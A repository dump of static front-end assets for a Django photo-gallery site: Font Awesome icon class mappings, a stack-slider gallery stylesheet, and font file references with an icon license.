.icon-caret-left:before{content:"\f0d9";} 259 | .icon-caret-right:before{content:"\f0da";} 260 | .icon-columns:before{content:"\f0db";} 261 | .icon-sort:before{content:"\f0dc";} 262 | .icon-sort-down:before{content:"\f0dd";} 263 | .icon-sort-up:before{content:"\f0de";} 264 | .icon-envelope:before{content:"\f0e0";} 265 | .icon-linkedin:before{content:"\f0e1";} 266 | .icon-rotate-left:before,.icon-undo:before{content:"\f0e2";} 267 | .icon-legal:before{content:"\f0e3";} 268 | .icon-dashboard:before{content:"\f0e4";} 269 | .icon-comment-alt:before{content:"\f0e5";} 270 | .icon-comments-alt:before{content:"\f0e6";} 271 | .icon-bolt:before{content:"\f0e7";} 272 | .icon-sitemap:before{content:"\f0e8";} 273 | .icon-umbrella:before{content:"\f0e9";} 274 | .icon-paste:before{content:"\f0ea";} 275 | .icon-lightbulb:before{content:"\f0eb";} 276 | .icon-exchange:before{content:"\f0ec";} 277 | .icon-cloud-download:before{content:"\f0ed";} 278 | .icon-cloud-upload:before{content:"\f0ee";} 279 | .icon-user-md:before{content:"\f0f0";} 280 | .icon-stethoscope:before{content:"\f0f1";} 281 | .icon-suitcase:before{content:"\f0f2";} 282 | .icon-bell-alt:before{content:"\f0f3";} 283 | .icon-coffee:before{content:"\f0f4";} 284 | .icon-food:before{content:"\f0f5";} 285 | .icon-file-text-alt:before{content:"\f0f6";} 286 | .icon-building:before{content:"\f0f7";} 287 | .icon-hospital:before{content:"\f0f8";} 288 | .icon-ambulance:before{content:"\f0f9";} 289 | .icon-medkit:before{content:"\f0fa";} 290 | .icon-fighter-jet:before{content:"\f0fb";} 291 | .icon-beer:before{content:"\f0fc";} 292 | .icon-h-sign:before{content:"\f0fd";} 293 | .icon-plus-sign-alt:before{content:"\f0fe";} 294 | .icon-double-angle-left:before{content:"\f100";} 295 | .icon-double-angle-right:before{content:"\f101";} 296 | .icon-double-angle-up:before{content:"\f102";} 297 | .icon-double-angle-down:before{content:"\f103";} 298 | .icon-angle-left:before{content:"\f104";} 299 | .icon-angle-right:before{content:"\f105";} 300 | .icon-angle-up:before{content:"\f106";} 301 | .icon-angle-down:before{content:"\f107";} 302 | .icon-desktop:before{content:"\f108";} 303 | .icon-laptop:before{content:"\f109";} 304 | .icon-tablet:before{content:"\f10a";} 305 | .icon-mobile-phone:before{content:"\f10b";} 306 | .icon-circle-blank:before{content:"\f10c";} 307 | .icon-quote-left:before{content:"\f10d";} 308 | .icon-quote-right:before{content:"\f10e";} 309 | .icon-spinner:before{content:"\f110";} 310 | .icon-circle:before{content:"\f111";} 311 | .icon-mail-reply:before,.icon-reply:before{content:"\f112";} 312 | .icon-github-alt:before{content:"\f113";} 313 | .icon-folder-close-alt:before{content:"\f114";} 314 | .icon-folder-open-alt:before{content:"\f115";} 315 | .icon-expand-alt:before{content:"\f116";} 316 | .icon-collapse-alt:before{content:"\f117";} 317 | .icon-smile:before{content:"\f118";} 318 | .icon-frown:before{content:"\f119";} 319 | .icon-meh:before{content:"\f11a";} 320 | .icon-gamepad:before{content:"\f11b";} 321 | .icon-keyboard:before{content:"\f11c";} 322 | .icon-flag-alt:before{content:"\f11d";} 323 | .icon-flag-checkered:before{content:"\f11e";} 324 | .icon-terminal:before{content:"\f120";} 325 | .icon-code:before{content:"\f121";} 326 | .icon-reply-all:before{content:"\f122";} 327 | .icon-mail-reply-all:before{content:"\f122";} 328 | .icon-star-half-full:before,.icon-star-half-empty:before{content:"\f123";} 329 | .icon-location-arrow:before{content:"\f124";} 330 | .icon-crop:before{content:"\f125";} 331 | .icon-code-fork:before{content:"\f126";} 332 | .icon-unlink:before{content:"\f127";} 333 | .icon-question:before{content:"\f128";} 334 | .icon-info:before{content:"\f129";} 335 | .icon-exclamation:before{content:"\f12a";} 336 | .icon-superscript:before{content:"\f12b";} 337 | .icon-subscript:before{content:"\f12c";} 338 | .icon-eraser:before{content:"\f12d";} 339 | .icon-puzzle-piece:before{content:"\f12e";} 340 | .icon-microphone:before{content:"\f130";} 341 | .icon-microphone-off:before{content:"\f131";} 342 | .icon-shield:before{content:"\f132";} 343 | .icon-calendar-empty:before{content:"\f133";} 344 | .icon-fire-extinguisher:before{content:"\f134";} 345 | .icon-rocket:before{content:"\f135";} 346 | .icon-maxcdn:before{content:"\f136";} 347 | .icon-chevron-sign-left:before{content:"\f137";} 348 | .icon-chevron-sign-right:before{content:"\f138";} 349 | .icon-chevron-sign-up:before{content:"\f139";} 350 | .icon-chevron-sign-down:before{content:"\f13a";} 351 | .icon-html5:before{content:"\f13b";} 352 | .icon-css3:before{content:"\f13c";} 353 | .icon-anchor:before{content:"\f13d";} 354 | .icon-unlock-alt:before{content:"\f13e";} 355 | .icon-bullseye:before{content:"\f140";} 356 | .icon-ellipsis-horizontal:before{content:"\f141";} 357 | .icon-ellipsis-vertical:before{content:"\f142";} 358 | .icon-rss-sign:before{content:"\f143";} 359 | .icon-play-sign:before{content:"\f144";} 360 | .icon-ticket:before{content:"\f145";} 361 | .icon-minus-sign-alt:before{content:"\f146";} 362 | .icon-check-minus:before{content:"\f147";} 363 | .icon-level-up:before{content:"\f148";} 364 | .icon-level-down:before{content:"\f149";} 365 | .icon-check-sign:before{content:"\f14a";} 366 | .icon-edit-sign:before{content:"\f14b";} 367 | .icon-external-link-sign:before{content:"\f14c";} 368 | .icon-share-sign:before{content:"\f14d";} 369 | .icon-compass:before{content:"\f14e";} 370 | .icon-collapse:before{content:"\f150";} 371 | .icon-collapse-top:before{content:"\f151";} 372 | .icon-expand:before{content:"\f152";} 373 | .icon-euro:before,.icon-eur:before{content:"\f153";} 374 | .icon-gbp:before{content:"\f154";} 375 | .icon-dollar:before,.icon-usd:before{content:"\f155";} 376 | .icon-rupee:before,.icon-inr:before{content:"\f156";} 377 | .icon-yen:before,.icon-jpy:before{content:"\f157";} 378 | .icon-renminbi:before,.icon-cny:before{content:"\f158";} 379 | .icon-won:before,.icon-krw:before{content:"\f159";} 380 | .icon-bitcoin:before,.icon-btc:before{content:"\f15a";} 381 | .icon-file:before{content:"\f15b";} 382 | .icon-file-text:before{content:"\f15c";} 383 | .icon-sort-by-alphabet:before{content:"\f15d";} 384 | .icon-sort-by-alphabet-alt:before{content:"\f15e";} 385 | .icon-sort-by-attributes:before{content:"\f160";} 386 | .icon-sort-by-attributes-alt:before{content:"\f161";} 387 | .icon-sort-by-order:before{content:"\f162";} 388 | .icon-sort-by-order-alt:before{content:"\f163";} 389 | .icon-thumbs-up:before{content:"\f164";} 390 | .icon-thumbs-down:before{content:"\f165";} 391 | .icon-youtube-sign:before{content:"\f166";} 392 | .icon-youtube:before{content:"\f167";} 393 | .icon-xing:before{content:"\f168";} 394 | .icon-xing-sign:before{content:"\f169";} 395 | .icon-youtube-play:before{content:"\f16a";} 396 | .icon-dropbox:before{content:"\f16b";} 397 | .icon-stackexchange:before{content:"\f16c";} 398 | .icon-instagram:before{content:"\f16d";} 399 | .icon-flickr:before{content:"\f16e";} 400 | .icon-adn:before{content:"\f170";} 401 | .icon-bitbucket:before{content:"\f171";} 402 | .icon-bitbucket-sign:before{content:"\f172";} 403 | .icon-tumblr:before{content:"\f173";} 404 | .icon-tumblr-sign:before{content:"\f174";} 405 | .icon-long-arrow-down:before{content:"\f175";} 406 | .icon-long-arrow-up:before{content:"\f176";} 407 | .icon-long-arrow-left:before{content:"\f177";} 408 | .icon-long-arrow-right:before{content:"\f178";} 409 | .icon-apple:before{content:"\f179";} 410 | .icon-windows:before{content:"\f17a";} 411 | .icon-android:before{content:"\f17b";} 412 | .icon-linux:before{content:"\f17c";} 413 | .icon-dribbble:before{content:"\f17d";} 414 | .icon-skype:before{content:"\f17e";} 415 | .icon-foursquare:before{content:"\f180";} 416 | .icon-trello:before{content:"\f181";} 417 | .icon-female:before{content:"\f182";} 418 | .icon-male:before{content:"\f183";} 419 | .icon-gittip:before{content:"\f184";} 420 | .icon-sun:before{content:"\f185";} 421 | .icon-moon:before{content:"\f186";} 422 | .icon-archive:before{content:"\f187";} 423 | .icon-bug:before{content:"\f188";} 424 | .icon-vk:before{content:"\f189";} 425 | .icon-weibo:before{content:"\f18a";} 426 | .icon-renren:before{content:"\f18b";} 427 | -------------------------------------------------------------------------------- /django/webphoto/static/css/main.css: -------------------------------------------------------------------------------- 1 | /* Fonts & icons */ 2 | @font-face { 3 | font-weight: normal; 4 | font-style: normal; 5 | font-family: 'codropsicons'; 6 | src: url("../fonts/codropsicons/codropsicons.eot"); 7 | src: url("../fonts/codropsicons/codropsicons.eot?#iefix") format("embedded-opentype"), url("../fonts/codropsicons/codropsicons.woff") format("woff"), url("../fonts/codropsicons/codropsicons.ttf") format("truetype"), url("../fonts/codropsicons/codropsicons.svg#codropsicons") format("svg"); 8 | } 9 | 10 | @font-face { 11 | font-family: 'Glyphicons Halflings'; 12 | src: url(../fonts/glyphicons/glyphicons-halflings-regular.eot); 13 | src: url(../fonts/glyphicons/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'), 14 | url(../fonts/glyphicons/glyphicons-halflings-regular.woff2) format('woff2'), 15 | url(../fonts/glyphicons/glyphicons-halflings-regular.woff) format('woff'), 16 | url(../fonts/glyphicons/glyphicons-halflings-regular.ttf) format('truetype'), 17 | url(../fonts/glyphicons/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg'); 18 | } 19 | 20 | /* Helpers & resets */ 21 | *, 22 | *:after, 23 | *:before { 24 | -webkit-box-sizing: border-box; 25 | box-sizing: border-box; 26 | } 27 | 28 | .cf:before, 29 | .cf:after { 30 | content: ''; 31 | display: table; 32 | } 33 | 34 | .cf:after { 35 | clear: both; 36 | } 37 | 38 | /* General styles */ 39 | body { 40 | background: #212121; 41 | color: #fff; 42 | font-size: 1em; 43 | overflow: hidden; 44 | position: relative; 45 | overflow-y: scroll; 46 | font-family: 'Montserrat', 'Helvetica Neue', Helvetica, Arial, sans-serif; 47 | -webkit-font-smoothing: antialiased; 48 | -moz-osx-font-smoothing: grayscale; 49 | } 50 | 51 | a { 52 | color: #585558; 53 | text-decoration: none; 54 | outline: none; 55 | } 56 | 57 | a:hover { 58 | color: #ef5350; 59 | } 60 | 61 | a:hover, 62 | a:focus { 63 | outline: none; 64 | } 65 | 66 | button:focus { 67 | outline: none; 68 | } 69 | 70 | /* Main container */ 71 | .container { 72 | position: relative; 73 | min-height: 100vh; 74 | height: 100%; 75 | overflow: hidden; 76 | display: -webkit-flex; 77 | display: -ms-flexbox; 78 | display: flex; 79 | -webkit-flex-direction: column; 80 | -moz-flex-direction: column; 81 | -ms-flex-direction: column; 82 | flex-direction: column; 83 | } 84 | 85 | /* Header */ 86 | .codrops-header { 87 | padding: 1em 0; 88 | display: -webkit-flex; 89 | display: -ms-flexbox; 90 | display: flex; 91 | -webkit-flex: none; 92 | flex: none; 93 | margin: 0 10px; 94 | z-index: 1000; 95 | position: relative; 96 | } 97 | 98 | .codrops-header h1 { 99 | font-size: 1em; 100 | margin: 0 auto 0 0; 101 | padding: 0.5em; 102 | } 103 | 104 | .codrops-header h1 span { 105 | color: #585558; 106 | } 107 | 108 | .codrops-links { 109 | position: relative; 110 | display: inline-block; 111 | white-space: nowrap; 112 | text-align: center; 113 | margin: 0; 114 | height: 40px; 115 | -webkit-flex: none; 116 | flex: none; 117 | } 118 | 119 | .codrops-links::after { 120 | position: absolute; 121 | top: 0; 122 | left: 50%; 123 | width: 1px; 124 | height: 100%; 125 | min-height: 20px; 126 | background: #585558; 127 | content: ''; 128 | -webkit-transform: rotate3d(0, 0, 1, 22.5deg); 129 | transform: rotate3d(0, 0, 1, 22.5deg); 130 | } 131 | 132 | .codrops-icon { 133 | display: inline-block; 134 | margin: 0.5em; 135 | width: 1.5em; 136 | text-decoration: none; 137 | } 138 | 139 | .codrops-icon:before { 140 | margin: 0 5px; 141 | text-transform: none; 142 | font-weight: normal; 143 | font-style: normal; 144 | font-variant: normal; 145 | font-family: 'codropsicons'; 146 | line-height: 1; 147 | speak: none; 148 | -webkit-font-smoothing: antialiased; 149 | } 150 | 151 | .codrops-icon span { 152 | display: none; 153 | } 154 | 155 | .codrops-icon--drop:before { 156 | content: "\e001"; 157 | } 158 | 159 | .codrops-icon--prev:before { 160 | content: "\e004"; 161 | } 162 | 163 | /* Menu */ 164 | .menu { 165 | font-size: 1em; 166 | padding: 0.5em; 167 | } 168 | 169 | .menu__item { 170 | font-weight: bold; 171 | margin: 0 1em; 172 | } 173 | 174 | .menu__item--current { 175 | color: #ef5350; 176 | } 177 | 178 | /* Hero image */ 179 | .hero { 180 | position: absolute; 181 | width: 100%; 182 | height: 100vh; 183 | top: 0; 184 | left: 0; 185 | overflow: hidden; 186 | pointer-events: none; 187 | } 188 | 189 | /*.hero > div {*/ 190 | /*background: #212121 url(../image/bg.jpg) no-repeat 50% 0;*/ 191 | /*-webkit-backface-visibility: hidden;*/ 192 | /*backface-visibility: hidden;*/ 193 | /*}*/ 194 | 195 | .hero__back--static, 196 | .hero__front { 197 | -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; 198 | transition: transform 0.5s, opacity 0.5s; 199 | -webkit-transform-origin: 50% 60px; 200 | transform-origin: 50% 60px; 201 | -webkit-transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 202 | transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 203 | } 204 | 205 | .hero__back { 206 | position: absolute; 207 | width: 100%; 208 | height: 100%; 209 | } 210 | 211 | .hero__back--mover { 212 | opacity: 0.7; 213 | -webkit-transition: -webkit-transform 0.4s, opacity 0s 0.5s; 214 | transition: transform 0.4s, opacity 0s 0.5s; 215 | } 216 | 217 | .move-items .hero__back--mover { 218 | opacity: 0; 219 | -webkit-transition-delay: 0s; 220 | transition-delay: 0s; 221 | } 222 | 223 | .hero__front { 224 | position: absolute; 225 | top: 0; 226 | left: 50%; 227 | margin: 0 0 0 -391px; 228 | width: 782px; 229 | height: 782px; 230 | border-radius: 50%; 231 | opacity: 0; 232 | } 233 | 234 | .move-items .hero__back--static { 235 | opacity: 0; 236 | -webkit-transform: scale3d(0.15, 0.15, 1); 237 | transform: scale3d(0.15, 0.15, 1); 238 | } 239 | 240 | .move-items .hero__front { 241 | opacity: 1; 242 | -webkit-transition-duration: 0.5s, 0s; 243 | transition-duration: 0.5s, 0s; 244 | -webkit-transform: scale3d(0.15, 0.15, 1); 245 | transform: scale3d(0.15, 0.15, 1); 246 | } 247 | 248 | /* Stack slider */ 249 | .stack-slider { 250 | position: absolute; 251 | height: 40vh; 252 | width: 100vw; 253 | top: 0; 254 | opacity: 0; 255 | -webkit-touch-callout: none; 256 | -webkit-user-select: none; 257 | -khtml-user-select: none; 258 | -moz-user-select: none; 259 | -ms-user-select: none; 260 | user-select: none; 261 | -webkit-transform: translate3d(0, 60vh, 0); 262 | transform: translate3d(0, 60vh, 0); 263 | -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; 264 | transition: transform 0.5s, opacity 0.5s; 265 | -webkit-transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 266 | transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 267 | } 268 | 269 | .view-init .stack-slider { 270 | opacity: 1; 271 | } 272 | 273 | .move-items .stack-slider { 274 | -webkit-transform: translate3d(0, 0, 0); 275 | transform: translate3d(0, 0, 0); 276 | } 277 | 278 | .view-full .flickity-viewport { 279 | overflow: visible; 280 | } 281 | 282 | /* Loader */ 283 | .loader { 284 | position: fixed; 285 | width: 60px; 286 | height: 15px; 287 | top: 80vh; 288 | left: 50%; 289 | margin: -7px 0 0 -30px; 290 | } 291 | 292 | .view-init .loader { 293 | display: none; 294 | } 295 | 296 | .stacks-wrapper { 297 | height: 100%; 298 | } 299 | 300 | .stack { 301 | width: 55%; 302 | min-width: 300px; 303 | height: 100%; 304 | text-align: center; 305 | } 306 | 307 | .stack.is-selected { 308 | height: auto; 309 | } 310 | 311 | .stack.stack-prev, 312 | .stack.stack-next { 313 | -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; 314 | transition: transform 0.5s, opacity 0.5s; 315 | -webkit-transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 316 | transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 317 | } 318 | 319 | .move-items .stack.stack-prev, 320 | .move-items .stack.stack-next { 321 | opacity: 0; 322 | } 323 | 324 | .move-items .stack.stack-prev { 325 | -webkit-transform: translate3d(-70px, 65vh, 0); 326 | transform: translate3d(-70px, 65vh, 0); 327 | } 328 | 329 | .move-items .stack.stack-next { 330 | -webkit-transform: translate3d(70px, 65vh, 0); 331 | transform: translate3d(70px, 65vh, 0); 332 | } 333 | 334 | .stack.is-selected .stack-title::before, 335 | .stack.stack-prev .stack-title::after, 336 | .stack.stack-next .stack-title::after { 337 | content: ''; 338 | width: 30px; 339 | height: 30px; 340 | position: absolute; 341 | opacity: 0; 342 | z-index: 100; 343 | } 344 | 345 | .stack.is-selected .stack-title::before { 346 | margin: 0 0 0 -15px; 347 | left: 50%; 348 | top: 10px; 349 | background: url(../image/arrow-colored.svg) no-repeat center center; 350 | -webkit-transition: -webkit-transform 0.5s, opacity 0.3s; 351 | transition: transform 0.5s, opacity 0.3s; 352 | -webkit-transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 353 | transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 354 | } 355 | 356 | .item-clickable .stack.is-selected .stack-title::before { 357 | opacity: 1; 358 | } 359 | 360 | .move-items .is-selected .stack-title::before { 361 | -webkit-transform: rotate3d(0, 0, 1, 180deg); 362 | transform: rotate3d(0, 0, 1, 180deg); 363 | } 364 | 365 | .stack.stack-prev .stack-title::after, 366 | .stack.stack-next .stack-title::after { 367 | content: ''; 368 | top: 1.65em; 369 | background: url(../image/arrow-gray.svg) no-repeat center center; 370 | } 371 | 372 | .stack.stack-prev .stack-title::after { 373 | right: 0; 374 | -webkit-transform: rotate3d(0, 0, 1, -90deg); 375 | transform: rotate3d(0, 0, 1, -90deg); 376 | } 377 | 378 | .stack.stack-next .stack-title::after { 379 | left: 0; 380 | -webkit-transform: rotate3d(0, 0, 1, 90deg); 381 | transform: rotate3d(0, 0, 1, 90deg); 382 | } 383 | 384 | .stack.stack-prev .stack-title:hover::after, 385 | .stack.stack-next .stack-title:hover::after { 386 | opacity: 1; 387 | } 388 | 389 | .stack-title { 390 | font-size: 2.25em; 391 | font-weight: 700; 392 | margin: 80px 0 30px; 393 | padding: 50px 40px 15px; 394 | text-align: center; 395 | display: inline-block; 396 | position: relative; 397 | cursor: pointer; 398 | } 399 | 400 | .stack-title a { 401 | display: block; 402 | position: relative; 403 | overflow: hidden; 404 | color: #fff; 405 | width: 100%; 406 | -webkit-backface-visibility: hidden; 407 | backface-visibility: hidden; 408 | } 409 | 410 | .stack-title a::after { 411 | content: attr(data-text); 412 | position: absolute; 413 | width: 100%; 414 | height: 100%; 415 | top: 0; 416 | left: 0; 417 | font-size: 0.5em; 418 | line-height: 2.5; 419 | opacity: 0; 420 | pointer-events: none; 421 | -webkit-transform: translate3d(0, 100%, 0); 422 | transform: translate3d(0, 100%, 0); 423 | } 424 | 425 | .stack-title a span { 426 | display: block; 427 | color: #595959; 428 | cursor: pointer; 429 | -webkit-backface-visibility: hidden; 430 | backface-visibility: hidden; 431 | } 432 | 433 | .is-selected .stack-title a span { 434 | color: #ef5350; 435 | } 436 | 437 | .stack-title a::after, 438 | .stack-title a span { 439 | -webkit-transition: -webkit-transform 1s 0.15s, opacity 1s 0.15s; 440 | transition: transform 1s 0.15s, opacity 1s 0.15s; 441 | -webkit-transition-timing-function: cubic-bezier(0.2, 1, 0.3, 1); 442 | transition-timing-function: cubic-bezier(0.2, 1, 0.3, 1); 443 | } 444 | 445 | .stack-title a:hover { 446 | color: #fff; 447 | } 448 | 449 | .move-items .is-selected .stack-title a::after { 450 | opacity: 1; 451 | -webkit-transform: translate3d(0, 0, 0); 452 | transform: translate3d(0, 0, 0); 453 | } 454 | 455 | .move-items .is-selected .stack-title a span { 456 | opacity: 0; 457 | -webkit-transform: translate3d(0, -150%, 0); 458 | transform: translate3d(0, -150%, 0); 459 | } 460 | 461 | .item { 462 | padding: 0 5% 5%; 463 | opacity: 0; 464 | width: 100%; 465 | position: relative; 466 | text-align: left; 467 | -webkit-transform: translate3d(0, 75px, 0); 468 | transform: translate3d(0, 75px, 0); 469 | -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; 470 | transition: transform 0.5s, opacity 0.5s; 471 | -webkit-transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 472 | transition-timing-function: cubic-bezier(0.6, 0, 0.4, 1); 473 | } 474 | 475 | .move-items .is-selected .item { 476 | opacity: 1; 477 | } 478 | 479 | .move-items .is-selected .item:first-of-type .item__content::after { 480 | -webkit-transform: translate3d(0, 0, 0) scale3d(0.95, 0.95, 1); 481 | transform: translate3d(0, 0, 0) scale3d(0.95, 0.95, 1); 482 | } 483 | 484 | .move-items .is-selected .item:first-of-type .item__content::before { 485 | -webkit-transform: translate3d(0, 0, 0) scale3d(0.9, 0.9, 1); 486 | transform: translate3d(0, 0, 0) scale3d(0.9, 0.9, 1); 487 | } 488 | 489 | .item:first-of-type { 490 | opacity: 0.25; 491 | -webkit-transform: translate3d(0, 0, 0); 492 | transform: translate3d(0, 0, 0); 493 | } 494 | 495 | .move-items .is-selected .item { 496 | -webkit-transition-delay: 0.15s; 497 | transition-delay: 0.15s; 498 | -webkit-transform: translate3d(0, 0, 0); 499 | transform: translate3d(0, 0, 0); 500 | } 501 | 502 | .move-items .is-selected .item:first-of-type { 503 | -webkit-transition-delay: 0s; 504 | transition-delay: 0s; 505 | } 506 | 507 | .item__content { 508 | position: relative; 509 | z-index: 100; 510 | max-width: 900px; 511 | margin: 0 auto; 512 | } 513 | 514 | .item__content p { 515 | font-size: 0.75em; 516 | } 517 | 518 | .item:first-of-type .item__content::before, 519 | .item:first-of-type .item__content::after { 520 | content: ''; 521 | width: 100%; 522 | height: 20px; 523 | top: 0; 524 | left: 0; 525 | z-index: -1; 526 | position: absolute; 527 | -webkit-transition: -webkit-transform 0.3s; 528 | transition: transform 0.3s; 529 | -webkit-backface-visibility: hidden; 530 | backface-visibility: hidden; 531 | } 532 | 533 | .item:first-of-type .item__content::before { 534 | background: #b8b8b8; 535 | -webkit-transform: translate3d(0, -20px, 0) scale3d(0.9, 0.9, 1); 536 | transform: translate3d(0, -20px, 0) scale3d(0.9, 0.9, 1); 537 | } 538 | 539 | .item:first-of-type .item__content::after { 540 | background: #a7a7a7; 541 | -webkit-transform: translate3d(0, -10px, 0) scale3d(0.95, 0.95, 1); 542 | transform: translate3d(0, -10px, 0) scale3d(0.95, 0.95, 1); 543 | } 544 | 545 | .item img { 546 | width: 100%; 547 | display: block; 548 | position: relative; 549 | z-index: 100; 550 | } 551 | 552 | .item__title { 553 | font-size: 1.25em; 554 | margin: 0; 555 | padding: 0.75em 0; 556 | color: #9d9d9d; 557 | } 558 | 559 | .item__date { 560 | font-size: 0.5em; 561 | vertical-align: middle; 562 | display: inline-block; 563 | color: #4F4E4E; 564 | margin-left: 5px; 565 | } 566 | 567 | .item__details { 568 | text-align: left; 569 | margin: 0 0 2em; 570 | } 571 | 572 | .item__details ul { 573 | font-family: 'Avenir Next', 'Helvetica Neue', Helvetica, Arial, sans-serif; 574 | list-style: none; 575 | margin: 0; 576 | padding: 0; 577 | } 578 | 579 | .item__details ul li { 580 | display: block; 581 | padding: 3px 0; 582 | color: #9d9d9d; 583 | white-space: nowrap; 584 | opacity: 0; 585 | -webkit-transform: translate3d(0, 20px, 0); 586 | transform: translate3d(0, 20px, 0); 587 | -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; 588 | transition: transform 0.5s, opacity 0.5s; 589 | } 590 | 591 | .move-items .is-selected .item__details ul li { 592 | opacity: 1; 593 | -webkit-transform: translate3d(0, 0, 0); 594 | transform: translate3d(0, 0, 0); 595 | } 596 | 597 | .move-items .is-selected .item__details ul li:first-child { 598 | -webkit-transition-delay: 0.25s; 599 | transition-delay: 0.25s; 600 | } 601 | 602 | .move-items .is-selected .item__details ul li:nth-child(2) { 603 | -webkit-transition-delay: 0.3s; 604 | transition-delay: 0.3s; 605 | } 606 | 607 | .move-items .is-selected .item__details ul li:nth-child(3) { 608 | -webkit-transition-delay: 0.35s; 609 | transition-delay: 0.35s; 610 | } 611 | 612 | .move-items .is-selected .item__details ul li:nth-child(4) { 613 | -webkit-transition-delay: 0.4s; 614 | transition-delay: 0.4s; 615 | } 616 | 617 | .move-items .is-selected .item__details ul li:nth-child(5) { 618 | -webkit-transition-delay: 0.45s; 619 | transition-delay: 0.45s; 620 | } 621 | 622 | .item__details ul li:first-child { 623 | font-weight: bold; 624 | color: #ef5350; 625 | } 626 | 627 | .glyphicon { 628 | position: relative; 629 | top: 1px; 630 | display: inline-block; 631 | font-family: 'Glyphicons Halflings'; 632 | font-style: normal; 633 | font-weight: 400; 634 | line-height: 1; 635 | -webkit-font-smoothing: antialiased; 636 | -moz-osx-font-smoothing: grayscale 637 | } 638 | 639 | .glyphicon + span { 640 | margin-left: 5px; 641 | vertical-align: middle; 642 | } 643 | 644 | .item__details .icon { 645 | color: #4F4E4E; 646 | margin-right: 5px; 647 | } 648 | 649 | /* Related demos */ 650 | .item__content--related { 651 | text-align: center; 652 | display: -webkit-flex; 653 | display: -ms-flexbox; 654 | display: flex; 655 | -webkit-flex-wrap: wrap; 656 | flex-wrap: wrap; 657 | -webkit-justify-content: space-between; 658 | justify-content: space-between; 659 | } 660 | 661 | .item__content--related > p { 662 | width: 100%; 663 | font-size: 1em; 664 | font-weight: bold; 665 | padding: 1em 0; 666 | color: #7E7D7D; 667 | } 668 | 669 | .media-item { 670 | display: block; 671 | margin: 0 auto; 672 | max-width: 50%; 673 | min-width: 250px; 674 | font-weight: bold; 675 | padding: 1em; 676 | } 677 | 678 | .media-item__img { 679 | max-width: 250px; 680 | width: auto; 681 | opacity: 0.3; 682 | -webkit-transition: opacity 0.3s; 683 | transition: opacity 0.3s; 684 | } 685 | 686 | .media-item:hover .media-item__img, 687 | .media-item:focus .media-item__img { 688 | opacity: 1; 689 | } 690 | 691 | .media-item__title { 692 | font-size: 1em; 693 | margin: 0; 694 | padding: 0.5em; 695 | } 696 | 697 | /* Mobile-first media queries */ 698 | @media screen and (min-width: 65em) { 699 | .item__details { 700 | position: absolute; 701 | top: 0; 702 | margin: 0 0 0 1em; 703 | z-index: 1000; 704 | left: 100%; 705 | width: 40%; 706 | } 707 | } 708 | 709 | /* Mobile-specific media queries */ 710 | @media screen and (max-width: 65em) { 711 | .stack { 712 | width: 60%; 713 | } 714 | } 715 | 716 | @media screen and (max-width: 45em) { 717 | .stack-title { 718 | font-size: 1.75em; 719 | } 720 | 721 | .menu__item { 722 | display: block; 723 | background: #4F4E4E; 724 | overflow: hidden; 725 | height: 4px; 726 | width: 30px; 727 | margin: 3px 10px 0 0; 728 | } 729 | 730 | .menu__item span { 731 | display: none; 732 | } 733 | 734 | .codrops-header { 735 | padding: 0.5em 0; 736 | } 737 | 738 | .stack.stack-prev .stack-title::after, 739 | .stack.stack-next .stack-title::after { 740 | top: 1.85em; 741 | } 742 | 743 | .codrops-header h1 { 744 | font-size: 0.85em; 745 | padding: 0.25em; 746 | } 747 | } 748 | 749 | @media screen and (max-height: 35em) { 750 | .stack-slider { 751 | height: 60vh; 752 | -webkit-transform: translate3d(0, 40vh, 0); 753 | transform: translate3d(0, 40vh, 0); 754 | } 755 | } 756 | 757 | .left-context >li { 758 | margin-bottom: 20px; 759 | } -------------------------------------------------------------------------------- /django/webphoto/static/fonts/codropsicons/codropsicons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/codropsicons/codropsicons.eot -------------------------------------------------------------------------------- /django/webphoto/static/fonts/codropsicons/codropsicons.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | This is a custom SVG font generated by IcoMoon. 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 17 | 18 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /django/webphoto/static/fonts/codropsicons/codropsicons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/codropsicons/codropsicons.ttf -------------------------------------------------------------------------------- /django/webphoto/static/fonts/codropsicons/codropsicons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/codropsicons/codropsicons.woff -------------------------------------------------------------------------------- /django/webphoto/static/fonts/codropsicons/license.txt: -------------------------------------------------------------------------------- 1 | Icon Set: Font Awesome -- http://fortawesome.github.com/Font-Awesome/ 2 | License: SIL -- http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL 3 | 4 | 5 | Icon Set: Eco Ico -- http://dribbble.com/shots/665585-Eco-Ico 6 | License: CC0 -- http://creativecommons.org/publicdomain/zero/1.0/ -------------------------------------------------------------------------------- /django/webphoto/static/fonts/fontawesome/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/static/fonts/fontawesome/FontAwesome.otf -------------------------------------------------------------------------------- /django/webphoto/static/fonts/fontawesome/fontawesome-webfont.eot: -------------------------------------------------------------------------------- 